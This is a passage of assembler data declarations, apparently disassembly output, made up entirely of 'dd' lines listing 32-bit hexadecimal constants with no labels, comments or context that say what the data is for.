850C8D47h, 0CC454FC8h dd 633DD54Bh, 3A995739h, 8F2EB1D0h, 79CE5E40h, 3272887Dh dd 9C19C819h, 65BEC01Bh, 4B033063h, 9264A068h, 0B8F79CC0h dd 90F2EF56h, 37CB1D73h dd 0EB354368h, 0E8AF948Ah, 48BC612Fh, 0A82926F3h, 8FBEE286h dd 0D7536B12h, 34B0024h, 7128213Dh, 95EBAFEDh, 8527BF13h dd 0A2D1D8BDh, 179A61C8h, 92553D11h, 7AC90D9Ah, 0C4601450h dd 0AF668386h, 63483721h, 0E43788F5h, 0BB8C3CBAh, 88BA1337h dd 0FDE92FBh, 8AE0B022h, 0D5434EAAh, 867381F9h, 147941BEh dd 5986EDFBh, 0DDDE3F33h, 3B77130Fh, 8175C5C8h, 6BBF1F82h dd 1352A962h, 261EF3F2h, 64DB79C3h, 65FE6577h, 8378B575h dd 22169671h, 6F0EEBD9h, 2BC9774Fh, 279D54F6h, 40125323h dd 0C8A39751h, 0E6453FEEh, 45CFCB4Dh, 8DB11DC7h, 2F9D13EFh dd 0CA49DAACh, 0DF1C551Fh, 6EAB5B6Fh, 0FE2C3828h, 0C9C9EACAh dd 6D54FF04h, 0E57A6A41h, 0EB06F98Ch, 0C007245h, 688EAAF7h dd 0D5B85C67h, 6EEDE843h, 279C6F5Fh, 568E8C74h, 35E08FEFh dd 7B812618h, 0FF19594Bh, 0DAE3F55Dh, 6ED519CEh, 7A0CA04Bh dd 0D9EFD66Eh, 4539007Bh, 0E2B6719Dh, 45D0991Ah, 0ABBB10C6h dd 86B3C3Dh, 938B1D32h, 479D3526h, 0C27CF5A3h, 0A78875EEh dd 0A2116A64h, 0EBC3ECA3h, 24B08BCEh, 6270C844h, 8DFEA56Eh dd 7A2146E4h, 2E9A1530h, 6FF5933Fh, 2FB28592h, 1D07EDAEh dd 1FF6362Bh, 31156CF6h, 0AC9D5044h, 49DFC012h, 0CD9D77EDh dd 8B991FEh, 691F789h, 85A161FAh, 926DA75Eh, 57DDB837h dd 3AE6FA94h, 6C61532h, 0EC963D57h, 2E4A25B0h, 4DFE81ABh dd 90E9A1D4h, 0C1B4E53Ch, 4A1115ACh, 66B102A8h, 2613BA2Eh dd 866C1A7Dh, 43F32B4Fh, 2A934B69h, 8FA048A6h, 0FFCAADABh dd 0B6CD0012h, 97BF2DCEh, 0EC9B6BD0h, 6E2799F4h, 8FB82E3Bh dd 22AF8139h, 0D1DCC769h, 0A6107B69h, 42399CE0h, 0C75586F0h dd 0DB3CC090h, 350E5110h, 722E9043h, 43D2C0BBh, 9701723Ch dd 0C2AB904Fh, 0FE2DFB7Fh, 7DB44D66h, 1C2D8437h, 0A0B032CCh dd 103E9AFAh, 47EE29D3h, 2D4D794h, 7C297360h, 622420Eh dd 0FE02B735h, 0AE77FCCh, 90EC43AAh, 3F89C327h, 8106191Bh dd 4FB3BA72h, 4D3508B7h, 0FA3775E7h, 73435058h, 0F96CA659h dd 0A2F5F836h, 743BD5E1h, 41281F1Fh, 56A525D2h, 0E487297Bh dd 45C25948h, 317517C7h, 3E7E0A91h, 0DC72CBD5h, 0D7610BC8h dd 38C0A356h, 4E3AE25h, 2B4202EAh, 0F4CCE47Ch, 0E59E9EAAh dd 7A837CE0h, 2C622521h, 0A09A44E7h, 68A89D1Bh, 9D645623h dd 27C3F60h, 7E490D6Dh, 573BA2DAh, 72114613h, 55666A61h dd 3E0C28EBh, 1221788Dh, 3B7E8260h, 13DC50FAh, 8679A612h dd 0E4944CDAh, 0EF777EBh, 21D7AB95h, 0C1DAA178h, 352D50E0h dd 0A2DE98C4h, 0E6F4686Fh, 3FBBF70Eh, 0A07EE968h, 43943B17h dd 0A190E34Ch, 19BC37CFh, 0A98EB2EAh, 4C1C52DAh, 95AED449h dd 0EF333D15h, 0CA373741h, 4AC025B2h, 966AF734h, 0DC7067A8h dd 3A2CDE99h, 6DE239A7h, 59FFFC70h, 8F27101Dh, 0D851753Eh dd 0ADAC3102h, 7A6A4469h, 0CFA0364Fh, 48CF5143h, 6AB5C335h dd 0EDB5B68Bh, 0CC15BE59h, 3A6929F9h, 95F87078h, 4B4CAC2Dh dd 77F9F92Eh, 6DD4C2F2h, 1F77E185h, 8F89FBB8h, 0D1790AE1h dd 0AEEB4F4Bh, 22BF3662h, 1C1B9343h, 42698175h, 463F7B2Eh dd 3BDEB47Ah, 0FB3618C9h, 680BF2C5h, 6CC02244h, 0A3352821h dd 85BB4B6Eh, 7495A95Bh, 56AC5211h, 54A953B7h, 0E3D4704Eh dd 0C3D77A3Ch, 0EB13E25Ah, 96DFA4B5h, 0D19BEE72h, 89C12D91h dd 54037112h, 0E6D58E8Fh, 0F758FD09h, 6C11291Dh, 384DB174h dd 43D31306h, 3E972ACFh, 8F7AB316h, 0B7D65350h, 0F76F5E17h dd 0D5B6F862h, 0FA0D455Fh, 37203DAAh, 0C017D2E6h, 57B8C774h dd 80111FCEh, 92EE0707h, 415E0151h, 0A5EA7475h, 0F5726EEAh dd 6C8BAEBh, 5C67D39Eh, 0C6350813h, 0A19C360Ch, 4CD032ADh dd 0AD84ABAEh, 1A1C6E31h, 196B42E8h, 0F5409174h, 0D285017Eh dd 0BD3BA69Ah, 0E7A7F701h, 0BC96673h, 117E7FB8h, 127067BDh dd 0A944A026h, 5D75C8FFh, 8FC15211h, 0C3E355F3h, 0BC0AEDB0h dd 18FA63AFh, 0EAF78BEAh, 6B5F0542h, 6F0E5306h, 1D355E29h dd 8D674C1Ah, 0CCCF2A35h, 3850B18Bh, 0C89850F4h, 8069D4FAh dd 1D979ED1h, 869B5489h, 0A779E626h, 192AF22Bh, 0AB414711h dd 12AAFE0Ch, 3F53808Dh, 65FBD2BFh, 0A0B58533h, 287DFE28h dd 34DC6821h, 0C60C47BFh, 2BE8EC8Eh, 0FA735FA8h, 0E617267h dd 6A89EEC9h, 54A5BC92h, 656DD31Ch, 46819634h, 97B3A1AFh dd 85F0E172h, 2BF7B7E5h, 2C2ABF70h, 29A89E89h, 0CE1F04C2h dd 30AC64B8h, 4E05C85Ah, 0E3AD1C8Ch, 489E5DBEh, 8074D0Ch dd 0CC51DF28h, 77A19A00h, 0DB7A06C8h, 0B6423FD3h, 4674470Ah dd 712E4CFh, 423C53F6h, 508479E1h, 264B794Dh, 801BECBDh dd 0D72DB881h, 76258ABCh, 24C304F0h, 43091A02h, 24691FF1h dd 0BCE2210Ch, 57BBA91Bh, 0D56F6CCFh, 772EB8B3h, 22799659h dd 57D57797h, 5565147Fh, 51A89FDCh, 1FEDF837h, 0CDF035AFh dd 88B45E73h, 5CEC40A9h, 0F6EB5CEBh, 0C7BD2F6Ch, 0CD136CBBh dd 9E20E18Ch, 0DB3F3636h, 0D9B45DCDh, 2A1204B8h, 5EA565FEh dd 0E00E7A8Eh, 2A4A7467h, 112DBC47h, 0DE847C24h, 3F81B4EDh dd 0F04A8329h, 0BD272CC2h, 33B03FBCh, 261F3120h, 9996F147h dd 5729BF97h, 7A961BBEh, 0B18C967Ah, 0FD66FDA0h, 3B47C2EDh dd 0AEE01D96h, 8C96CF89h, 0A71584B9h, 53CC08C8h, 4E86E7C5h dd 40A13A0Eh, 0A2E8D92Bh, 7E9A3394h, 0A5FD9BF5h, 50692C4Eh dd 0F78B1889h, 468449C1h, 6B749591h, 17C3E5CCh, 0B1100A9Fh dd 963D50F2h, 42772B74h, 715A260h, 449622h, 621D478h, 0B4BCE046h dd 1A2CAD0Fh, 0E2DF7C63h, 270B0A1Dh, 90EC1C1Bh, 44509E74h dd 211AAE43h, 0EDC214DFh, 51CF78Ah, 0FA42771Ah, 0E73B5ECAh dd 6CECB4BCh, 88F56FEEh, 0C0D25EAFh, 2C57CFFEh, 13A14CFDh dd 0F69D0075h, 0F5C3897h, 8BBB1E99h, 343C4DF4h, 3BE1EEC7h dd 0B50DBA8Fh, 0F51629CCh, 3113039Dh, 62CF510Eh, 879C4C5Eh dd 36B410E4h, 99A3AF1Fh, 742CC3E3h, 916DEFF0h, 9227F1F4h dd 0C1AA651Ch, 49DDCE28h, 0BFD045C9h, 0D84C72C8h, 0EA812B1Bh dd 0A7692B6Ch, 612EAD1Ch, 0F5C392E3h, 5B353D1Dh, 0DD2FA8D6h dd 0A233999h, 408E9C83h, 9E5BEC87h, 9B2AD8F5h, 0DB330E5h dd 4E2CC042h, 90AE27B4h, 8D46CD0Fh, 0B53F5DCAh, 362A3FBAh dd 130A07B4h, 6CE8F31Eh, 917047D6h, 0B99ACDh, 29468BCAh dd 9E34B3F2h, 0D68051A1h, 0A7103623h, 0BDBAA6C3h, 0E673EA7h dd 14265765h, 41EABB6Dh, 0B26C40E0h, 3C46A40Bh, 0F8B918D4h dd 0EDD846FAh, 709891F1h, 0C1863CFDh, 0C284D9F7h, 434C8F08h dd 0A2FA1286h, 0F815C659h, 0ECF63DB2h, 0FD007378h, 74D036A3h dd 98DC7834h, 86FF2547h, 0E3F04816h, 31CF06EBh, 0FA73847Bh dd 7118015Ch, 851DB045h, 48D2049h, 4727AE92h, 8B10935Eh dd 4BBA378Fh, 3A2ED412h, 64960913h, 17FAD826h, 0C2B5AF45h dd 34437BFBh, 3BC30435h, 8E7AC5BAh, 302ECA08h, 0E9A4BA4Dh dd 12CC8F2Eh, 207850E4h, 0E281D295h, 7BE8C66Fh, 782C1C5Fh dd 15A32C77h, 92997734h, 74B814FEh, 0A7E4453Bh, 756EEB92h dd 928018C7h, 5FD2FE92h, 0CD35CB6Dh, 0C0FA38C8h, 511E75DBh dd 949135FFh, 0ACCB691Bh, 0D5552B78h, 0AB7DF36Ch, 0CF90D8BCh dd 0B87073CAh, 0C5FBD5Dh, 3E34EFBh, 0BEA12926h, 37921148h dd 0FABFBCFFh, 79177FA6h, 0A59EEB33h, 214C2603h, 0DFA63E04h dd 93749045h dd 0FC30C05h, 169B982Ch, 179C308Eh, 956FBA1Ch, 0E6F8B198h dd 749B7691h, 2C4150A6h, 4FFC0DF3h, 0FA5E7A4Ch, 0CCA3D3FFh dd 5AA94715h, 0BB5606FFh, 6BAF4FC8h, 32CA3B4Ch, 0CE137F98h dd 0A1C9F2EAh, 6448CBCh, 90E04220h, 0E13FE205h, 54AC3ECBh dd 52921DBh, 1141E6A2h, 0EF5CF68Dh, 0F776B6EBh, 0F2628611h dd 34DBC76Ch, 0ADA7A956h, 0A48FD041h, 0EAE83F40h, 0CE472CE3h dd 3BDC52BEh, 49F28106h, 8A027335h, 0FEFEA74Ah, 4E06864h dd 30C8C7A9h, 0C55AF3D4h, 0CEEE508Ch, 0E1A08893h, 13BEEF18h dd 145E10F1h, 0E963FC33h, 35ACFED2h, 853F9CCBh, 0FF7131D4h dd 65D71EB1h, 0F85B1B18h, 0E80D4166h, 7CD404C5h, 0C29F6541h dd 0C9237CD3h, 0DE98F657h, 0D07F24Eh, 0D6BA355Bh, 5B535C0Bh dd 0E473F934h, 0CB2003D7h, 775FBA9Dh, 0D9EAF861h, 72AC7C74h dd 0F4866436h, 5F598CC7h, 51B7ED85h, 5B252285h, 0FD4AA759h dd 8762DC4Eh, 80660846h, 0A06CB8A6h, 5B749304h, 0EF7FCB34h dd 0EEA9CDF0h, 0EFED2645h, 6E244DFCh, 53D03952h, 427C9D4Bh dd 5CC4B196h, 0E72C68ACh, 50ACD6A6h, 0CDFA79B1h, 29A1B1AEh dd 0E21C68B4h, 7C02196Dh, 0FBFBEACFh, 1B0797F6h, 4E2B45EDh dd 0EDADEA8Fh, 0DE286716h, 0DBB186B2h, 0E3960312h, 38BF03E9h dd 0A0ADA978h, 8BD06EB2h, 0E299A736h, 5C7DCC89h, 3EB7548Ch dd 85A13E35h, 0BBD3E790h, 4159FE1h, 3D7EDE5Ah, 979248CFh dd 0A819A6B3h, 0E184B17Ah, 7E835BD0h, 0BA9AA255h, 8D4D45DFh dd 2E205DEh, 0F4A2A865h, 95786846h, 0BA2EB43Bh, 0D664634h dd 4FE8F609h, 2269B83Bh, 589AAAA7h, 0D8DF0DB7h, 0B68C0854h dd 77B1B8DEh, 9C4262ECh, 0FFC9BA2Dh, 12459406h, 51D72D32h dd 885A4FA4h, 0CD311CC1h, 8491E801h, 91128468h, 3F69F379h dd 0EE715D5Bh, 0D3E6849Ch, 0A89AC698h, 676B611Ah, 6ED503BEh dd 4DBC5C16h, 0C95AD3Eh, 8D042212h, 73062330h, 0D943985Ah dd 0AF9282BCh, 0C5294868h, 17B8A743h, 43008557h, 55DC1D77h dd 7D9335C8h, 0A711CC56h, 5AD3AE32h, 0BFE7A599h, 0B68E382Dh dd 0C2EF2DAEh, 0D67B8F5Eh, 0F5B77BCFh, 0DC23C8E4h, 451EDF91h dd 0C757AE1Fh, 56A99966h, 25B892F2h, 91C1B99Eh, 0A9476208h dd 0B2F07B83h, 0AF6522ABh, 7F57BB49h, 5FE393D2h, 0D72821D3h dd 41EF7203h, 2EA828A8h, 0B4564D0Ah, 14948AB5h, 0A06061E9h dd 6FEB55DAh, 63F5EA3Ch, 2F92D270h, 102B1316h, 9BBE6637h dd 0D8BD496Eh, 1A49C120h, 0B8C533FEh, 60CA4020h, 47DA1C79h dd 99AF9707h, 0E59453C3h, 6C69A22h, 0DC31F36Ch, 3898B5C7h dd 0C75470FAh, 73F53834h, 0E61AB5F1h, 7016F84Ch, 0CFFE614Ch dd 0FE812480h, 2E326F7Dh, 3B891704h, 9CBE2BFh, 85B19E86h dd 4A0F8F9Bh, 2ED64FEAh, 67E06671h, 5F34AEE5h, 0EE17F970h dd 465E020Ch, 99AB61F5h, 9C6E1F0Ch, 41A8E3D6h, 0BA79B8DFh dd 0EBDA526Bh, 0C5541315h, 0C6EB16F3h, 0E455C672h, 1F5AE9C9h dd 2574A368h, 0D6810A3Fh, 0CD51259Ah, 0AC390381h, 0E5AA908Bh dd 0A6DABDA4h, 529245DEh, 6FC84A58h, 74BBA1DEh, 997492C7h dd 53009AC6h, 39A38640h, 0FBD38EE0h, 0BBF6FB7Fh, 5BCA4CCBh dd 0A9E259E9h, 0EF762F50h, 5293AC09h, 0BF565025h, 0CCD4F177h dd 0A72844A4h, 565D068Dh, 36B7E015h, 0EC2EE41Bh, 0F8ECCCCCh dd 21CC7D45h, 0EC159ABFh, 618A38DEh, 0E54D0FF8h, 0F809CEFh dd 6BEF8F60h, 397E47EEh, 0A746F0Eh, 16E0DD14h, 0E19A17A9h dd 733AC5DCh, 72C0C817h, 0BEC8F369h, 0A9E000D1h, 186F0D91h dd 0ED1D6A7Ah, 0BD1501D7h, 7B6B2A49h, 6D666B8Eh, 0BDF71EB6h dd 31D3E733h, 27B54313h, 52205D6Dh, 968ACFD8h, 0CA862C4Dh dd 0BC14792h, 90012E2h, 9CF2E153h, 0AC55B332h, 9B09E831h dd 368C9C3Fh, 999D9954h, 0BCB55614h, 0A31FD54Eh, 0CC14A3DAh dd 859C0B97h, 0A9EB58C7h, 76F00452h, 48847024h, 0B28BCCB8h dd 0E71D36DAh, 0FD227319h, 31AD181Bh, 12BADD65h, 1D30B57Eh dd 0D4B331D2h, 0E19D117Eh, 75601D1Bh, 0CFC306F3h, 3E86AABh dd 669B5D4Fh, 810D9101h, 0D6E84F9Fh, 9210986Ah, 33E42EAEh dd 10696682h, 0AA29803Bh, 0CCAD1177h, 0BCDA6E4Ch, 0E4659586h dd 0E4F6FA00h, 37119A3Ah, 533F4585h, 0F35E2A94h, 67D389D9h dd 674318A0h, 20C72EA0h, 97B9FEBFh, 6E7E5752h, 0EC8EF103h dd 209E45F4h, 0FC2FAF26h, 0F26CB359h, 14BD36Dh, 0C3C56848h dd 18947151h, 797232BFh, 3A71F97Bh, 5639898Eh, 0A4EAC373h dd 0F756539h, 39A513D3h, 0D077B4Fh, 2A5F409Ah, 0ECFF16A9h dd 0C4A25A7Fh, 3120922Dh, 0DD81BC37h, 0C1C4A938h, 3EB3AB48h dd 0D9F15A21h, 0A99CF7D9h, 83A9DD5h, 21C0A5B9h, 30FDEF4Ah dd 2F3023Bh, 5C070CE1h, 38BCDF06h, 201B171Bh, 0ED28DE4Fh dd 0FC3F243Ch, 430441D7h, 0C6766E5h, 0F3452164h, 0F024882Ah dd 0CA88935Fh, 0E9335FACh, 0BAAA0300h, 5173E31Ah, 0E4369450h dd 17CE069h, 469F8A15h, 9487FA3Fh, 0AD848AA9h, 0E5B3FA71h dd 82B81C1Ch, 77BDF10Ah, 0E7A0E2D3h, 702ADA6Bh, 6DF728E8h dd 2E457844h, 86406FF7h, 0FED66A7Bh, 76A076D0h, 537D6132h dd 0EBE6F0DFh, 62B5A0AAh, 0F087D0BCh, 0B11883AAh, 0A630A1DAh dd 0B512729Bh, 4CE8FA60h, 0D45B9095h, 6CA46922h, 0FCF319B7h dd 111C3A20h, 0D4774173h, 399AE0h, 0A813986Ch, 0BFA57B1Bh dd 8AFFD13Ch, 733BCEA7h, 3848251Dh, 0C71B39BDh, 78FA76B4h dd 28E3C067h, 80BDE310h, 381A03B0h, 9F54E1A4h, 573419A5h dd 0C37F1EDDh, 0E376B433h, 0BF747D27h, 0B863EDA3h, 1C74CCDCh dd 2AD7E834h, 0DD77C350h, 0C5DCD6B1h, 89B64BCEh, 0E077ECAFh dd 0C031C9DCh, 0AD97C5F1h, 7D99A4F3h, 1315F96Dh, 9AE0F987h dd 9C347BFDh, 0DE66FDDh, 2B62E259h, 0E3B198C3h, 16B3C1D4h dd 0E988E1F3h, 2B9F2934h, 334BAE5Eh, 616B9814h, 1584887Ch dd 0DB854C14h, 9BDCD8F6h, 354C7FE2h, 1BFC1457h, 936D61FBh dd 80F9E542h, 176BFDB2h, 0D88581E0h, 2880DD3h, 0B13909AFh dd 0B09EC528h, 0A8479F3Ah, 0D07DD44h, 71D8F7h, 0F5FF1ECFh dd 0FFC12096h, 6661E374h, 667948E5h, 0FB95DEDDh, 4D80FB01h dd 0FF7F260Fh, 7039ADEAh, 0F544C569h, 0F37E0E03h, 8B286667h dd 2EB9DF76h, 0DD3D24EDh, 3A28FA28h, 0B8D6C47h, 7D5D8E5Fh dd 0F8DB1FD4h, 56A18E39h, 0F4330EA7h, 7C1A6521h, 80E13507h dd 69FC4BDEh, 46D98B87h, 0EB16AE8Dh, 2C1C6639h, 3A1D3372h dd 0CD74F984h, 1C5B26CEh, 19AB680Ah, 0A5CED9FEh, 0A5D3BB1Dh dd 4F4A96D5h, 0A31049DDh, 0FD4DA84Bh, 637ADE68h, 0E9447E2Ch dd 8295CD2Eh, 0AD05256Bh, 7F18C72Ah, 8A76296Ah, 0D132DA5h dd 9EE7E679h, 10E61B33h, 3BA8D51Eh, 0AC366437h, 6E922636h dd 3362029Fh, 0F52E45B4h, 504065FCh, 0E947E340h, 0A8B365EDh dd 0F29A6F59h, 0B0E9EEABh, 96D112FCh, 85F85761h, 8C9C0779h dd 9DD118E3h, 27E241B1h, 6649C272h, 0B99B9EFAh, 1C4F9985h dd 8446A35Ah, 0AE8ED883h, 59C18EF4h, 75FDF745h, 0EAAB7605h dd 0C1F73FA4h, 15AF67E7h, 74446555h, 5A6D6659h, 0F00CC93Ah dd 0F7E901A4h, 1CB66119h, 0C99F10C0h, 7BC9334h, 0C49A28AFh dd 3C3926h, 8492A79Eh, 0B974CFE0h, 54591547h, 0F1797D8Ah dd 0F3160CB8h, 6F0448DDh, 0E8547587h, 0A4A77FE0h, 8AD81A88h dd 981026D5h, 89F4E112h, 0DF20B23Eh, 60ADCC4Ch, 508054EDh dd 9C8DF1Bh, 6FFF77F0h dd 2337A2FEh, 6EBD1A30h, 7AEEAE9Ch, 781C5662h, 0B4EB51CEh dd 9813B60Ch, 0EF9F0A2Ah, 1DA8622h, 0EBB5959Ch, 9D96DA40h dd 6C3A11ABh, 1DF8FA54h, 0BB3E3E8Fh, 0C5F82574h, 53A6087Dh dd 373B4D08h, 8D541F0Dh, 956BBB80h, 0D71998B1h, 51521EAAh dd 4353F628h, 6A8B9137h, 23B1C298h, 756BE8B4h, 221E01C1h dd 1786A9CDh, 0A918E1FAh, 0EBDD9ADEh, 7C135522h, 0E20B706Dh dd 3F836344h, 902AC5A1h, 0B2A543F9h, 5400C7E8h, 0B1FE57Dh dd 0BC7ADD0Ch, 0F9201151h, 0F5D976EDh, 9F39D5D6h, 0F8761EF9h dd 0AB2FEE14h, 8692DDF8h, 6C7A5058h, 0BC31DA4Eh, 0CA24117Ah dd 0FCA0F985h, 8FADE5BFh, 0F7210498h, 0D4C8BA94h, 2BB2A58h dd 0D03E1FAAh, 0A4D3F97Bh, 0D945AD2Fh, 5C27B96h, 0DCE274F1h dd 3DF3D736h, 53734445h, 22FEA9F1h, 0DA90A39Eh, 581AC23Dh dd 26A242CEh, 0CEF4ACDEh, 0FA7D82E3h, 0D106BF8Ah, 1768F978h dd 0C93CF71Ch, 2CCC812Ch, 69590BD7h, 0E6C6C6C2h, 8BB29135h dd 0A8778384h, 98CF72FDh, 64049A9Fh, 0FED9AF99h, 0E5010752h dd 0D7B0FB01h, 52134E98h, 0BDB9ECD3h, 5D69B677h, 753720D1h dd 0FDAB8322h, 1832DFC3h, 0C18FE188h, 0C6346F8Ah, 6362F2E9h dd 5C8915C6h, 0B6FDC4EBh, 4FF54113h, 2B39A7A4h, 8141DB89h dd 0EB4F8FF9h, 0A299BA3Eh, 0D90B2A17h, 1E7D5B05h, 0E2864579h dd 0F44BE8F6h, 0A4C8E518h, 4A0796DFh, 52ACF05Eh, 0E9C2E572h dd 67F62461h, 0D528D442h, 0EE06A880h, 313A3A7h, 0F397CB1Ah dd 9F20FA9Fh, 61977E7Ch, 3E04F571h, 30ADD2F3h, 0ABB843E1h dd 59CD958Dh, 0F222C16Ch, 0D8319147h, 54F51405h, 0D06F0519h dd 59522488h, 0E837C9E2h, 0E4ECCA41h, 3EF2A537h, 1793CDE1h dd 0FF1D0F66h, 10F75EB0h, 0FFFFEF23h, 39C40B62h, 0E2E09487h dd 974542E2h, 42F461B9h, 0DB45BDD6h, 8452441h, 0E09B6FB5h dd 0F7D432E0h, 0E8C2399h, 862FF7D7h, 0FB947CD0h, 0E245FC0Bh dd 75E9E250h, 424C4BB2h, 0A8C5C7F1h, 8BFD5FCh, 0E44D9EE5h dd 726FE8CEh, 8D22E128h, 0E220220Fh, 5C35C8FEh, 0BF9B9220h dd 73FD7272h, 0C282D8ADh, 78B93BCh, 8E24302Ch, 2514C7ACh dd 0AD416B5h, 0FB189A15h, 0A67FB1F3h, 20F7C31Bh, 97C39584h dd 0F9650F28h, 0CB2E817h, 1EC7B4Bh, 94233451h, 0F6881223h dd 0D085A38h, 0E53DEE68h, 556FB412h, 7E151CD5h, 18B515Dh dd 0A8426EAh, 0BA9646A0h, 159B9A20h, 6C82D622h, 0F3DF7315h dd 70F5B401h, 66714536h, 0C239FE60h, 0E25FD7CCh, 0FC25185h dd 0C48EC6A2h, 0BF4140D0h, 96649D48h, 0DB0F4AA3h, 6E7517CFh dd 0FE62CA6Fh, 5C6A333Bh, 0A4D5922Bh, 50100116h, 0CC32234Fh dd 5A7FF0C1h, 751EC044h, 1A7BA8B2h, 1D02A625h, 7D3B4DCh dd 0F96056F7h, 67C9C27Dh, 707C7B6Dh, 0B33C4638h, 68949436h dd 8327E521h, 495FA2B2h, 4CB68F4Ch, 85271E56h, 9C7846BCh dd 91DED733h, 0E09D63C9h, 1E7C075Dh, 0E935674Ah, 30D961DBh dd 0EFCB6736h, 520584C4h, 9B1D54AEh, 47DB3498h, 51A3B04Ah dd 4D62371Ah, 0E8BAFFC8h, 0F5A388EBh, 0E8C1D0CBh, 53B79E3Eh dd 0C71FCD41h, 5DBC6870h, 0F9617900h, 8E85DBACh, 7D48878Fh dd 0D588EDDBh, 0B6E6844Ah, 0BA1DE04Fh, 0E46C078Bh, 6D5FCE2Dh dd 0C13D5458h, 5ABA205Eh, 0F806CDD7h, 1DCE8A26h, 641D54E5h dd 22407AC9h, 981DBDEEh, 0F173BCE1h, 0B74009CDh, 0D8F4D650h dd 0FD380C88h, 96F5793Fh, 81573B72h, 4603860Dh, 0FF66CC6Dh dd 38E54412h, 74B1B921h, 797B381Fh, 42B7638Dh, 0AA8DDAF9h dd 0C95A962Ch, 9E1CE0C1h, 67CF9E3h, 0FE978D98h, 0E387BA62h dd 3AC4EBA8h, 0F0698D74h, 0FE4AF15Fh, 3652EDC6h, 600C65C5h dd 0CA2D6A3h, 177E03BFh, 0E95ACB05h, 720B1E0Dh, 7A12DF42h dd 0E4766660h, 716CB34Bh, 2485FB3h, 679C2F47h, 0A36D09BCh dd 0DA263C6Ch, 0C0219CC7h, 0E4BECFAFh, 164A07D3h, 35CB9993h dd 2A3A7B78h, 772CB656h, 1EC08018h, 9E3D9B12h, 1BEBAFD3h dd 7B98B07Eh, 0B8459103h, 0EA5C24EAh, 0F187EA7Dh, 0BAA63AE7h dd 9212840h, 161A7984h, 3694F524h, 0C60EED87h, 9A162BAh dd 505887A8h, 0BFD36999h, 10CD7F0Bh, 3899D17Eh, 5493663Eh dd 0D0A76219h, 50F3FF2Ch, 49215E74h, 8867889Dh, 14BC7BB4h dd 885D2449h, 0EB4F6593h, 78695EA8h, 5A0F42B2h, 6E3F5D34h dd 3E5EC990h, 9CBF1FBBh, 819B7F4Fh, 0B20D4ABDh, 0FA1DF981h dd 0BEA87E61h, 0FA459357h, 0CD610803h, 5DB1425Bh, 1BB1A770h dd 52A19646h, 0E4F127CBh, 0BCBC6E90h, 0ECB3B09Eh, 374A1175h dd 1D161ABAh, 2B2A7E90h, 0CFE702D2h, 2AD3CF09h, 0A0FB4172h dd 93E07294h, 0FA4E8AC4h, 12AF0395h, 44574025h, 0B8361E0Fh dd 1404C7C5h, 0D111360Eh, 0DA113B80h, 0D30A1C17h, 0FFF66E8h dd 9A5CEDEDh, 188A488h, 0ABDD3CD9h, 8A06699Ah, 1150BE50h dd 7AD19F45h, 0E1168D95h, 0FE3DD87h, 0E32CF3FBh, 0ACA0449Bh dd 0D0B2C71Eh, 2AE687F8h, 0BE0E036Fh, 2CFCC01Eh, 0C7F1F237h dd 0A7DCC48Ch, 0BF4A4C4Ch, 978DC63Bh, 77AB487Bh, 3D7781D5h dd 3587474Fh, 9CB624EBh, 6EC1C6E5h, 0C007FD03h, 3F3AEB1Fh dd 0D1E97B1Dh, 0E37523CCh, 0D22DCFD2h, 9A31B28Bh, 653D413h dd 9CA63FDEh, 0FC35583Eh, 759771D0h, 7966EEA9h, 78BD73E5h dd 56F2E0A0h, 0DE851A7Bh, 906F8BCCh, 97653E54h, 64BC8CF9h dd 71035AD0h, 0A1E16F89h, 0E9AE8106h, 0F921560Ah, 77411E77h dd 9EA84361h, 4DDA7F95h, 0CB503A7h, 0E063E022h, 0A4DBBEA4h dd 285DE926h, 0E4413FE7h, 66991C84h, 66214D0h, 0FBFA2D07h dd 0C6D4327Ah, 0FA5D32E8h, 8770FF9Ah, 9BC86272h, 403EAF8Ch dd 8494FB2h, 0FC7B30DBh, 590D0721h, 89D29D3Dh, 6551E2CFh dd 914AD668h, 0B718424Eh, 8C1EE440h, 0DD54CD7Bh, 0C7E2FB6Fh dd 0EAF7AB26h, 2CCBBFA9h, 4D03168Eh, 5AB7B9D2h, 3AB8E207h dd 328A8E51h, 8A32EB8Dh, 675AA4C2h, 6516B926h, 6B6F3495h dd 923957D5h, 0ABF9F3C8h, 0B73943CDh, 89BB6B19h, 0E675FA6Eh dd 561BE8F5h, 8BDEA07Ah, 0A6BBD342h, 62C0EEF8h, 0E0A8E34Ch dd 0A4CCD541h, 99491276h, 3D49F1C3h, 36F51806h, 3CB4E4F1h dd 0CDDEF933h, 16880C4Eh, 5BD99372h, 51F05015h, 3C2DE43h dd 318C1088h, 58C00144h, 2A5CFB51h, 0C1ED3993h, 962AB48Bh dd 21FA1DFDh, 8A09B37h, 36A5E2h, 0C13FCE58h, 94CA0E2Ch dd 326C11Eh, 8632A3D6h, 0B7F52919h, 0BBBB4B36h, 7B38D9FAh dd 943376E7h, 0FA4F5529h, 97B4163h, 0EF39B947h, 0FE44A6DAh dd 4E9E6323h, 358B3280h, 83A9769Dh, 5B680338h, 966EBB8Ah dd 40BA9653h, 0B858FB5Dh, 92FD0EB2h, 0D5FC8850h, 468AAE73h dd 0C2F71AA4h, 4564151Dh, 33752C84h, 86F137D5h, 30071D3Dh dd 9D516777h, 0C324E345h, 64F00DBBh, 0E3EA7310h, 0D34A79D7h dd 1FE0C495h, 0C66A5763h, 5C484391h, 1B4A199Dh, 89A45B4Ch dd 2B804A0Ah, 0A3BACE85h, 87378D09h, 7483EB39h, 1967E4D4h dd 8476A516h, 29B67073h, 0AEB5ED67h, 0BDD94F75h, 16CC981Eh dd 0B581DDA7h, 501BD000h, 8E9CBCBh, 0CB091B30h, 0C93AF2E7h dd 0A5870516h, 104E59Dh, 4A29C4F5h, 0D219F262h, 22B10723h dd 62EFACE1h, 0E3A1E061h, 7C45DEBDh, 0BE657A87h, 16DFEE54h dd 0B1D1479h, 391F4D33h, 0FD22531h, 827939A7h, 0D8E7D626h dd 3179E8CDh, 7431AA70h, 2FA3191Bh, 49A4D82Bh, 872EA4A7h dd 752C10F7h, 0F5F7AD31h dd 0B91ACF10h, 5BF7E226h, 0F8DA0E60h, 4FC35794h, 63A09E1Bh dd 0E065D55Fh, 0B9C79BEFh, 2D0B4ACFh, 6BD281EDh, 0B4452B6Bh dd 4A1408AFh, 2AFB490Fh, 0D59E5BC7h, 1C24F2DDh, 434C857Ah dd 0F912AC01h, 25EA7D7Dh, 0E584E7B6h, 0E441C65Eh, 5AE4A5F7h dd 0DF6A1048h, 6E4883A5h, 4295126Fh, 0E89894BAh, 6F531C3Bh dd 0B6281EF0h, 1ADF812Bh, 0E6E53A18h, 0F5609FD3h, 57199538h dd 0CA3CE4DFh, 0ACDF22A9h, 94FE2E9Bh, 